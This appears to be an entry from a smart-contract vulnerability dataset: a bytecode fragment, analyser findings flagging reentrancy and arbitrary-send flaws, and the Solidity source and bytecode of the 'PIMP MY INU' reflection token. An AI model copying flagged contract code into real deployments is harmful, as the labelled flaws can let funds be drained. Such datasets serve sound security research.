81150290604051600060405180830381858888f19350505050158015611be5573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c36600284611fd690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c61573d6000803e3d6000fd5b5050565b6000600854821115611cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca390612da6565b60405180910390fd5b6000611cb661204d565b9050611ccb8184611fd690919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d0b57611d0a6132d2565b5b604051908082528060200260200182016040528015611d395781602001602082028036833780820191505090505b5090503081600081518110611d5157611d506132a3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611df357600080fd5b505afa158015611e07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e2b91906127ce565b81600181518110611e3f57611e3e6132a3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ea630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f0a959493929190612f01565b600060405180830381600087803b158015611f2457600080fd5b505af1158015611f38573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f6e5760009050611fd0565b60008284611f7c91906130a3565b9050828482611f8b9190613072565b14611fcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc290612e26565b60405180910390fd5b809150505b92915050565b600061201883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612078565b905092915050565b8061202e5761202d6120db565b5b61203984848461211e565b80612047576120466122e9565b5b50505050565b600080600061205a6122fd565b915091506120718183611fd690919063ffffffff16565b9250505090565b600080831182906120bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b69190612d64565b60405180910390fd5b50600083856120ce9190613072565b9050809150509392505050565b6000600a541480156120ef57506000600b54145b156120f95761211c565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121308761235f565b95509550955095509550955061218e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061226f8161246f565b612279848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122d69190612ee6565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea000009050612333683635c9adc5dea00000600854611fd690919063ffffffff16565b82101561235257600854683635c9adc5dea0000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c61204d565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b06565b905092915050565b6000808284612420919061301c565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c90612de6565b60405180910390fd5b8091505092915050565b600061247961204d565b905060006124908284611f5b90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611f5b90919063ffffffff16565b611fd690919063ffffffff16565b905060006125bc60646125ae888b611f5b90919063ffffffff16565b611fd690919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611f5b90919063ffffffff16565b9050600061262c8689611f5b90919063ffffffff16565b905060006126438789611f5b90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061269861269384612f9b565b612f76565b905080838252602082019050828560208602820111156126bb576126ba613306565b5b60005b858110156126eb57816126d188826126f5565b8452602084019350602083019250506001810190506126be565b5050509392505050565b600081359050612704816135f3565b92915050565b600081519050612719816135f3565b92915050565b600082601f83011261273457612733613301565b5b8135612744848260208601612685565b91505092915050565b60008135905061275c8161360a565b92915050565b6000815190506127718161360a565b92915050565b60008135905061278681613621565b92915050565b60008151905061279b81613621565b92915050565b6000602082840312156127b7576127b6613310565b5b60006127c5848285016126f5565b91505092915050565b6000602082840312156127e4576127e3613310565b5b60006127f28482850161270a565b91505092915050565b6000806040838503121561281257612811613310565b5b6000612820858286016126f5565b9250506020612831858286016126f5565b9150509250929050565b60008060006060848603121561285457612853613310565b5b6000612862868287016126f5565b9350506020612873868287016126f5565b925050604061288486828701612777565b9150509250925092565b600080604083850312156128a5576128a4613310565b5b60006128b3858286016126f5565b92505060206128c485828601612777565b9150509250929050565b6000602082840312156128e4576128e3613310565b5b600082013567ffffffffffffffff8111156129025761290161330b565b5b61290e8482850161271f565b91505092915050565b60006020828403121561292d5761292c613310565b5b600061293b8482850161274d565b91505092915050565b60006020828403121561295a57612959613310565b5b600061296884828501612762565b91505092915050565b60006020828403121561298757612986613310565b5b600061299584828501612777565b91505092915050565b6000806000606084860312156129b7576129b6613310565b5b60006129c58682870161278c565b93505060206129d68682870161278c565b92505060406129e78682870161278c565b9150509250925092565b60006129fd8383612a09565b60208301905092915050565b612a1281613131565b82525050565b612a2181613131565b82525050565b6000612a3282612fd7565b612a3c8185612ffa565b9350612a4783612fc7565b8060005b83811015612a78578151612a5f88826129f1565b9750612a6a83612fed565b925050600181019050612a4b565b5085935050505092915050565b612a8e81613143565b82525050565b612a9d81613186565b82525050565b6000612aae82612fe2565b612ab8818561300b565b9350612ac8818560208601613198565b612ad181613315565b840191505092915050565b6000612ae960238361300b565b9150612af482613326565b604082019050919050565b6000612b0c602a8361300b565b9150612b1782613375565b604082019050919050565b6000612b2f60228361300b565b9150612b3a826133c4565b604082019050919050565b6000612b52601b8361300b565b9150612b5d82613413565b602082019050919050565b6000612b75601d8361300b565b9150612b808261343c565b602082019050919050565b6000612b9860218361300b565b9150612ba382613465565b604082019050919050565b6000612bbb60208361300b565b9150612bc6826134b4565b602082019050919050565b6000612bde60298361300b565b9150612be9826134dd565b604082019050919050565b6000612c0160258361300b565b9150612c0c8261352c565b604082019050919050565b6000612c2460248361300b565b9150612c2f8261357b565b604082019050919050565b6000612c4760178361300b565b9150612c52826135ca565b602082019050919050565b612c668161316f565b82525050565b612c7581613179565b82525050565b6000602082019050612c906000830184612a18565b92915050565b6000604082019050612cab6000830185612a18565b612cb86020830184612a18565b9392505050565b6000604082019050612cd46000830185612a18565b612ce16020830184612c5d565b9392505050565b600060c082019050612cfd6000830189612a18565b612d0a6020830188612c5d565b612d176040830187612a94565b612d246060830186612a94565b612d316080830185612a18565b612d3e60a0830184612c5d565b979650505050505050565b6000602082019050612d5e6000830184612a85565b92915050565b60006020820190508181036000830152612d7e8184612aa3565b905092915050565b60006020820190508181036000830152612d9f81612adc565b9050919050565b60006020820190508181036000830152612dbf81612aff565b9050919050565b60006020820190508181036000830152612ddf81612b22565b9050919050565b60006020820190508181036000830152612dff81612b45565b9050919050565b60006020820190508181036000830152612e1f81612b68565b9050919050565b60006020820190508181036000830152612e3f81612b8b565b9050919050565b60006020820190508181036000830152612e5f81612bae565b9050919050565b60006020820190508181036000830152612e7f81612bd1565b9050919050565b60006020820190508181036000830152612e9f81612bf4565b9050919050565b60006020820190508181036000830152612ebf81612c17565b9050919050565b60006020820190508181036000830152612edf81612c3a565b9050919050565b6000602082019050612efb6000830184612c5d565b92915050565b600060a082019050612f166000830188612c5d565b612f236020830187612a94565b8181036040830152612f358186612a27565b9050612f446060830185612a18565b612f516080830184612c5d565b9695505050505050565b6000602082019050612f706000830184612c6c565b92915050565b6000612f80612f91565b9050612f8c82826131cb565b919050565b6000604051905090565b600067ffffffffffffffff821115612fb657612fb56132d2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130278261316f565b91506130328361316f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561306757613066613245565b5b828201905092915050565b600061307d8261316f565b91506130888361316f565b92508261309857613097613274565b5b828204905092915050565b60006130ae8261316f565b91506130b98361316f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130f2576130f1613245565b5b828202905092915050565b60006131088261316f565b91506131138361316f565b92508282101561312657613125613245565b5b828203905092915050565b600061313c8261314f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131918261316f565b9050919050565b60005b838110156131b657808201518184015260208101905061319b565b838111156131c5576000848401525b50505050565b6131d482613315565b810181811067ffffffffffffffff821117156131f3576131f26132d2565b5b80604052505050565b60006132078261316f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561323a57613239613245565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135fc81613131565b811461360757600080fd5b50565b61361381613143565b811461361e57600080fd5b50565b61362a8161316f565b811461363557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122030d73cccda66493923a07537cf3b6faddc41034b6cd265223899acf5018f01ab64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,334 |
0x0b5261273e568ace2dced768db0a808309fdadeb
|
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PIMPINU is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'PIMP MY INU';
string private _symbol = 'PIMP';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = ((_tTotal * maxTxPercent) / 10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount / currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = ((tAmount / 100) * 2);
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return (rSupply / tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e99614610289578063d543dbeb1461029c578063dd62ed3e146102af578063f2cc0c18146102c2578063f2fde38b146102d5578063f84354f1146102e85761014d565b8063715018a6146102365780637d1db4a51461023e5780638da5cb5b1461024657806395d89b411461025b578063a457c2d714610263578063a9059cbb146102765761014d565b806323b872dd1161011557806323b872dd146101c25780632d838119146101d5578063313ce567146101e857806339509351146101fd5780634549b0391461021057806370a08231146102235761014d565b8063053ab1821461015257806306fdde0314610167578063095ea7b31461018557806313114a9d146101a557806318160ddd146101ba575b600080fd5b6101656101603660046115ae565b6102fb565b005b61016f6103c0565b60405161017c9190611618565b60405180910390f35b610198610193366004611585565b610452565b60405161017c919061160d565b6101ad610470565b60405161017c9190611a16565b6101ad610476565b6101986101d036600461154a565b610485565b6101ad6101e33660046115ae565b61055b565b6101f061059e565b60405161017c9190611a1f565b61019861020b366004611585565b6105a7565b6101ad61021e3660046115c6565b6105f6565b6101ad6102313660046114f7565b61065a565b6101656106bc565b6101ad610745565b61024e61074b565b60405161017c91906115f9565b61016f61075a565b610198610271366004611585565b610769565b610198610284366004611585565b61080d565b6101986102973660046114f7565b610821565b6101656102aa3660046115ae565b61083f565b6101ad6102bd366004611518565b6108a5565b6101656102d03660046114f7565b6108d0565b6101656102e33660046114f7565b610a08565b6101656102f63660046114f7565b610ac8565b6000610305610c9d565b6001600160a01b03811660009081526004602052604090205490915060ff161561034a5760405162461bcd60e51b815260040161034190611985565b60405180910390fd5b600061035583610ca1565b5050506001600160a01b03841660009081526001602052604090205491925061038091839150611a84565b6001600160a01b0383166000908152600160205260409020556006546103a7908290611a84565b6006556007546103b8908490611a2d565b600755505050565b6060600880546103cf90611a9b565b80601f01602080910402602001604051908101604052809291908181526020018280546103fb90611a9b565b80156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b600061046661045f610c9d565b8484610ced565b5060015b92915050565b60075490565b6a52b7d2dcc80cd2e400000090565b6000610492848484610da1565b6001600160a01b0384166000908152600360205260408120906104b3610c9d565b6001600160a01b03166001600160a01b03168152602001908152602001600020548211156104f35760405162461bcd60e51b815260040161034190611836565b610551846104ff610c9d565b6001600160a01b03871660009081526003602052604081208691610521610c9d565b6001600160a01b03166001600160a01b031681526020019081526020016000205461054c9190611a84565b610ced565b5060019392505050565b600060065482111561057f5760405162461bcd60e51b8152600401610341906116ae565b6000610589610fcf565b90506105958184611a45565b9150505b919050565b600a5460ff1690565b60006104666105b4610c9d565b8484600360006105c2610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a2d565b60006a52b7d2dcc80cd2e40000008311156106235760405162461bcd60e51b8152600401610341906117b7565b8161064157600061063384610ca1565b5092945061046a9350505050565b600061064c84610ca1565b5091945061046a9350505050565b6001600160a01b03811660009081526004602052604081205460ff161561069a57506001600160a01b038116600090815260026020526040902054610599565b6001600160a01b03821660009081526001602052604090205461046a9061055b565b6106c4610c9d565b6001600160a01b03166106d561074b565b6001600160a01b0316146106fb5760405162461bcd60e51b81526004016103419061187e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b5481565b6000546001600160a01b031690565b6060600980546103cf90611a9b565b600060036000610777610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918716815292529020548211156107c05760405162461bcd60e51b8152600401610341906119d1565b6104666107cb610c9d565b8484600360006107d9610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a84565b600061046661081a610c9d565b8484610da1565b6001600160a01b031660009081526004602052604090205460ff1690565b610847610c9d565b6001600160a01b031661085861074b565b6001600160a01b03161461087e5760405162461bcd60e51b81526004016103419061187e565b6064610895826a52b7d2dcc80cd2e4000000611a65565b61089f9190611a45565b600b5550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6108d8610c9d565b6001600160a01b03166108e961074b565b6001600160a01b03161461090f5760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16156109485760405162461bcd60e51b815260040161034190611780565b6001600160a01b038116600090815260016020526040902054156109a2576001600160a01b0381166000908152600160205260409020546109889061055b565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b610a10610c9d565b6001600160a01b0316610a2161074b565b6001600160a01b031614610a475760405162461bcd60e51b81526004016103419061187e565b6001600160a01b038116610a6d5760405162461bcd60e51b8152600401610341906116f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610ad0610c9d565b6001600160a01b0316610ae161074b565b6001600160a01b031614610b075760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16610b3f5760405162461bcd60e51b815260040161034190611780565b60005b600554811015610c9957816001600160a01b031660058281548110610b7757634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610c875760058054610ba290600190611a84565b81548110610bc057634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600580546001600160a01b039092169183908110610bfa57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b0394851